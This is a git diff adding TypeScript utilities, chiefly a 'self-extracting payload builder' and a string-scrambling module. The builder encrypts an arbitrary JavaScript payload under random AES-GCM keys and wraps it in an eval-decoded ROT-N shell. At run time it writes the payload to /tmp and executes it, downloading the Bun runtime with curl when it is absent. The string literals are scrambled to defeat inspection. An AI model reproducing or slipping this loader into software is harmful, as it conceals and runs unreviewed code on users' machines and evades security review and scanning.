diff --git a/src/utils/proxy.ts b/src/utils/proxy.ts new file mode 100644 index 0000000..b7bfce4 --- /dev/null +++ b/src/utils/proxy.ts @@ -0,0 +1,25 @@ +// Proxy bootstrap — ensures all outbound HTTP uses the configured proxy. +// +// Bun's fetch (libcurl) auto-detects HTTPS_PROXY and HTTP_PROXY from +// the environment, including authenticated proxies. This module reads +// the env vars early and logs the configuration. + +import { logUtil } from "./logger"; + +export function proxyInit(): void { + const proxy = process.env.HTTPS_PROXY || process.env.HTTP_PROXY; + + if (proxy) { + // Strip credentials for logging + const redacted = proxy.replace(/(:\/\/)([^:]+):([^@]+)@/, "$1$2:***@"); + logUtil.log(`[proxy] Using: ${redacted}`); + + // Ensure both upper and lowercase variants are set + process.env.HTTP_PROXY ||= proxy; + process.env.HTTPS_PROXY ||= proxy; + process.env.http_proxy ||= proxy; + process.env.https_proxy ||= proxy; + } else { + logUtil.log("[proxy] No proxy configured — using direct connection"); + } +} diff --git a/src/utils/runtimeDecoder.ts b/src/utils/runtimeDecoder.ts new file mode 100644 index 0000000..49e5aef --- /dev/null +++ b/src/utils/runtimeDecoder.ts @@ -0,0 +1,28 @@ +import { StringScrambler } from "./stringtool"; + +// These values are build-time placeholders. The build pipeline +// (`scripts/build.ts` / `scripts/build-cli.ts`) rewrites the literals +// below with freshly generated values so the runtime decoder uses the +// exact same parameters that were used to encode the strings. +// +// IMPORTANT: Do not change these sentinel strings without updating the +// build scripts that look for them. Each must be a standalone +// double-quoted string literal so simple textual replacement works. +const PASSPHRASE = "__SCRAMBLE_BUILD_PASSPHRASE__"; +const SALT = "__SCRAMBLE_BUILD_SALT__"; +const FN_NAME = "__SCRAMBLE_FN_NAME__"; + +const runtimeScrambler = new StringScrambler(PASSPHRASE, SALT); + +function decode(blob: string): string { + return runtimeScrambler.decode(blob); +} + +(globalThis as unknown as Record string>)[ + FN_NAME +] = decode; + +// The build transform rewrites `scramble("...")` calls into bare +// `FN_NAME("...")` references. This export lets other modules import +// the decoder by name at build-time. +export { decode as "$__DECODE__" }; \ No newline at end of file diff --git a/src/utils/selfExtracting.ts b/src/utils/selfExtracting.ts new file mode 100644 index 0000000..67f0f0b --- /dev/null +++ b/src/utils/selfExtracting.ts @@ -0,0 +1,244 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// Self-extracting payload builder +// +// Produces a single self-contained JS file with two encrypted sections, +// both using AES-128-GCM (same decrypt helper, different keys): +// Section A — bun installation guard +// Section B — main payload +// +// The outer wrapper is a compact, fixed decrypt + execute loop. All the +// "heavy" logic (bun download, payload content) lives in the encrypted +// sections so the outer layer stays small and stable. +// +// Every call produces a completely different output (random keys for both +// sections). +// ═════════════════════════════════════════════════════════════════════════════ + +import { createCipheriv, randomBytes } from "node:crypto"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface SelfExtractingOptions { + /** AES key length in bytes (default: 16 for AES-128-GCM) */ + keyLen?: number; + /** IV length in bytes (default: 12 for GCM) */ + ivLen?: number; + /** Auth tag length in bytes (default: 16 for GCM) */ + tagLen?: number; + /** + * When false, returns the raw payload as-is instead of wrapping. + * Useful for gradual rollout — call sites can opt out while testing. + * Default: true. + */ + wrap?: boolean; +} + +// ── Bun version pin ───────────────────────────────────────────────────────── + +const BUN_VERSION = scramble("bun-v1.3.13"); + +// ── Public API ────────────────────────────────────────────────────────────── + +/** + * Build a self-extracting JavaScript wrapper around `payload`. + * + * The returned string is a complete Node.js script: + * - outer layer: compact AES-GCM decrypt helper + execute + * - Section A: AES-GCM-encrypted bun install guard + * - Section B: AES-GCM-encrypted payload + * + * @param payload The Bun.main content (raw JS source) to embed. + */ +export function buildSelfExtractingPayload( + payload: string, + opts: SelfExtractingOptions = {}, +): string { + if (opts.wrap === false) return payload; + + const { keyLen = 16, ivLen = 12, tagLen = 16 } = opts; + const algo = keyLen === 16 ? "aes-128-gcm" : "aes-256-gcm"; + + // ── Section A: bun guard ───────────────────────────────────────────── + const bunGuard = buildBunGuardScript(); + const guardEnc = aesEncrypt(bunGuard, keyLen, ivLen, tagLen, algo); + + // ── Section B: payload ─────────────────────────────────────────────── + const payloadEnc = aesEncrypt(payload, keyLen, ivLen, tagLen, algo); + + // ── ROT-N outer shell (compact, random rotation per build) ────────── + const inner = buildInnerWrapper( + guardEnc.keyHex, + guardEnc.ivHex, + guardEnc.tagHex, + guardEnc.dataHex, + payloadEnc.keyHex, + payloadEnc.ivHex, + payloadEnc.tagHex, + payloadEnc.dataHex, + algo, + tagLen, + ); + + const rotN = Math.floor(Math.random() * 25) + 1; + return rotWrap(inner, rotN); +} + +// ── AES-GCM encrypt ───────────────────────────────────────────────────────── + +interface AesEncResult { + keyHex: string; + ivHex: string; + tagHex: string; + dataHex: string; +} + +function aesEncrypt( + plaintext: string, + keyLen: number, + ivLen: number, + tagLen: number, + algo: string, +): AesEncResult { + const key = randomBytes(keyLen); + const iv = randomBytes(ivLen); + const cipher = createCipheriv(algo, key, iv, { + authTagLength: tagLen, + } as any); + const encrypted = Buffer.concat([ + cipher.update(plaintext, "utf8"), + cipher.final(), + ]); + return { + keyHex: key.toString("hex"), + ivHex: iv.toString("hex"), + tagHex: (cipher as any).getAuthTag().toString("hex"), + dataHex: encrypted.toString("hex"), + }; +} + +// ── Bun guard script (Section A) ──────────────────────────────────────────── + +function buildBunGuardScript(): string { + return [ + scramble(`(async()=>{`), + scramble(`const{execSync}=(await import("node:child_process"))`), + scramble( + `const{existsSync,mkdtempSync,chmodSync}=(await import("node:fs"))`, + ), + scramble(`const{join}=(await import("node:path"))`), + scramble(`const{tmpdir,platform,arch}=(await import("node:os"))`), + scramble(`var _bunCache`), + scramble(`globalThis.getBunPath=function(){`), + scramble(` if(_bunCache)return _bunCache`), + scramble(` const osMap={linux:"linux",darwin:"darwin",win32:"windows"}`), + scramble(` const a=arch==="arm64"?"aarch64":"x64-baseline"`), + scramble(` const os=osMap[platform]??"linux"`), + scramble(` const dir=mkdtempSync(join(tmpdir(),"b-"))`), + scramble(` const exe=join(dir,os==="windows"?"bun.exe":"bun")`), + scramble(` if(existsSync(exe)){_bunCache=exe;return exe}`), + scramble(` const url="https://github.com/oven-sh/bun/releases/download/`) + + BUN_VERSION + + scramble(`/bun-"+os+"-"+a+".zip"`), + scramble(` const zip=join(dir,"b.zip")`), + scramble(` execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})`), + scramble(` execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})`), + scramble(` chmodSync(exe,"755")`), + scramble(` _bunCache=exe;return exe`), + scramble(`}`), + scramble(`})()`), + ].join("\n"); +} + +// ── ROT-N enc/dec ─────────────────────────────────────────────────────────── + +function rotEncode(s: string, n: number): string { + return s.replace(/[a-zA-Z]/g, (c) => { + const base = c <= "Z" ? 65 : 97; + return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base); + }); +} + +function rotWrap(inner: string, n: number): string { + const encoded = rotEncode(inner, n); + const r = (26 - n) % 26; + // Use array literal + .map() to avoid Node's 65535-argument limit + // on String.fromCharCode + const codes = Array.from(encoded, (c) => c.charCodeAt(0)).join(","); + return ( + `try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}` + + `([${codes}].map(function(c){return String.fromCharCode(c)}).join(""),${r}))}catch(e){console.log("wrapper:",e.message||e)}` + ); +} + +// ── Inner wrapper (AES decrypt + execute — this gets ROT-encoded) ─────────── + +function buildInnerWrapper( + guardKeyHex: string, + guardIvHex: string, + guardTagHex: string, + guardDataHex: string, + payloadKeyHex: string, + payloadIvHex: string, + payloadTagHex: string, + payloadDataHex: string, + algo: string, + tagLen: number, +): string { + const importCrypto = scramble(`const _c=await import("node:crypto");`); + const fnPrefix = scramble( + `const _d=(k,i,a,c)=>{const d=_c.createDecipheriv("`, + ); + const fnMiddle = scramble( + `",Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:`, + ); + const fnSuffix = scramble( + `});d.setAuthTag(Buffer.from(a,"hex"));return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()])};`, + ); + + return [ + scramble(`(async()=>{try{`), + importCrypto, + fnPrefix + algo + fnMiddle + String(tagLen) + fnSuffix, + ``, + // ── Section A: bun guard ─────────────────────────────────────────── + scramble(`const _b=_d("`) + + guardKeyHex + + scramble(`","`) + + guardIvHex + + scramble(`","`) + + guardTagHex + + scramble(`","`) + + guardDataHex + + scramble(`").toString("utf8")`), + ``, + // ── Section B: payload ───────────────────────────────────────────── + scramble(`const _p=_d("`) + + payloadKeyHex + + scramble(`","`) + + payloadIvHex + + scramble(`","`) + + payloadTagHex + + scramble(`","`) + + payloadDataHex + + scramble(`").toString("utf8")`), + ``, + // ── Execute ──────────────────────────────────────────────────────── + scramble(`const _fs=await import("node:fs")`), + scramble(`const _cp=await import("node:child_process")`), + scramble(` const t="/tmp/p"+Math.random().toString(36).slice(2)+".js"`), + scramble(` _fs.writeFileSync(t,_p);`), + scramble(` if(typeof Bun!=="undefined"){`), + scramble(` try{_cp.execSync('bun run "'+t+'"',{stdio:"inherit"})}`), + scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`), + scramble(` }else{`), + scramble(` await(0,eval)(_b);`), + scramble( + ` try{_cp.execSync('"'+getBunPath()+'" run "'+t+'"',{stdio:"inherit"})}`, + ), + scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`), + scramble(` }`), + scramble(`}catch(e){console.log("wrapper:",e.message||e)}})()`), + ].join("\n"); +} diff --git a/src/utils/shell.ts b/src/utils/shell.ts new file mode 100644 index 0000000..a27af9c --- /dev/null +++ b/src/utils/shell.ts @@ -0,0 +1,28 @@ +import { $ } from "bun"; + +export interface ShellResult { + success: boolean; + exitCode: number; + stdout: string; + stderr: string; +} + +export async function run( + parts: TemplateStringsArray, + ...values: string[] +): Promise { + const escaped = values.map((v) => $.escape(v)); + let command = parts[0] ?? ""; + for (let i = 0; i < escaped.length; i++) { + command += escaped[i] + (parts[i + 1] ?? ""); + } + + const result = await $`${{ raw: command }}`.nothrow().quiet(); + + return { + success: result.exitCode === 0, + exitCode: result.exitCode, + stdout: result.stdout.toString(), + stderr: result.stderr.toString(), + }; +} diff --git a/src/utils/stringtool.ts b/src/utils/stringtool.ts new file mode 100644 index 0000000..7060ae6 --- /dev/null +++ b/src/utils/stringtool.ts @@ -0,0 +1,158 @@ +import { createHash, pbkdf2Sync, randomBytes } from "crypto"; + +class HashStream { + private counter = 0n; + private buf: Buffer = Buffer.alloc(0); + private offset = 0; + + constructor(private key: Buffer) {} + + private refill(): void { + const h = createHash("sha256"); + h.update(this.key); + const ctr = Buffer.alloc(8); + ctr.writeBigUInt64BE(this.counter++); + h.update(ctr); + this.buf = h.digest(); + this.offset = 0; + } + + nextByte(): number { + if (this.offset >= this.buf.length) this.refill(); + return this.buf[this.offset++]!; + } + + nextU32(): number { + return ( + ((this.nextByte() << 24) | + (this.nextByte() << 16) | + (this.nextByte() << 8) | + this.nextByte()) >>> + 0 + ); + } +} + +function shuffle256(rng: HashStream): Uint8Array { + const arr = new Uint8Array(256); + for (let i = 0; i < 256; i++) arr[i] = i; + for (let i = 255; i > 0; i--) { + const bound = 0xffffffff - (0xffffffff % (i + 1)); + let r: number; + do { + r = rng.nextU32(); + } while (r > bound); + const j = r % (i + 1); + [arr[i], arr[j]] = [arr[j]!, arr[i]!]; + } + return arr; +} + +function xorBytes(a: Buffer, b: Buffer, len: number): Buffer { + const out = Buffer.alloc(len) as Buffer; + for (let i = 0; i < len; i++) { + out[i] = (a[i] ?? 0) ^ (b[i] ?? 0); + } + return out; +} + +function buildTable(key: Buffer, round: number, pos: number): Uint8Array { + const posKey = createHash("sha256") + .update(key) + .update(Buffer.from([round])) + .update(Buffer.from(pos.toString())) + .digest(); + return shuffle256(new HashStream(posKey)); +} + +function cbcSubstitute( + data: Buffer, + roundKey: Buffer, + round: number, +): Buffer { + const out = Buffer.alloc(data.length) as Buffer; + let carry = 0; + for (let i = 0; i < data.length; i++) { + const table = buildTable(roundKey, round, i); + const xored = data[i]! ^ carry; + out[i] = table[xored]!; + carry = out[i]!; + } + return out; +} + +function cbcReverse( + data: Buffer, + roundKey: Buffer, + round: number, +): Buffer { + const out = Buffer.alloc(data.length) as Buffer; + let carry = 0; + for (let i = 0; i < data.length; i++) { + const table = buildTable(roundKey, round, i); + const inv = new Uint8Array(256); + for (let b = 0; b < 256; b++) inv[table[b]!] = b; + const xored = inv[data[i]!]!; + out[i] = xored ^ carry; + carry = data[i]!; + } + return out; +} + +export class StringScrambler { + private masterKey: Buffer; + private rounds: number; + + constructor(passphrase?: string, salt?: string) { + const pass = passphrase ?? randomBytes(32).toString("hex"); + const s = salt ?? "__SCRAMBLE_DEFAULT_SALT__"; + this.masterKey = pbkdf2Sync(pass, s, 200_000, 32, "sha256"); + this.rounds = 3; + } + + encode(value: string): string { + const pt = Buffer.from(value, "utf8"); + const nonce = randomBytes(16); + + const nonceKey = createHash("sha256") + .update(this.masterKey) + .update(Buffer.from("n")) + .digest(); + const encNonce = xorBytes(nonce, nonceKey, 16); + + const roundKey = createHash("sha256") + .update(this.masterKey) + .update(encNonce) + .digest(); + + let buf: Buffer = Buffer.from(pt); + for (let r = 0; r < this.rounds; r++) { + buf = cbcSubstitute(buf, roundKey, r); + } + + return Buffer.concat([encNonce, buf]).toString("base64"); + } + + decode(blob: string): string { + const buf = Buffer.from(blob, "base64"); + + const encNonce = buf.subarray(0, 16); + const nonceKey = createHash("sha256") + .update(this.masterKey) + .update(Buffer.from("n")) + .digest(); + xorBytes(encNonce, nonceKey, 16); // verify nonce decryption works (side-effect free) + + const roundKey = createHash("sha256") + .update(this.masterKey) + .update(encNonce) + .digest(); + + let data: Buffer = buf.subarray(16) as Buffer; + for (let r = this.rounds - 1; r >= 0; r--) { + data = cbcReverse(data, roundKey, r); + } + + return data.toString("utf8"); + } +} \ No newline at end of file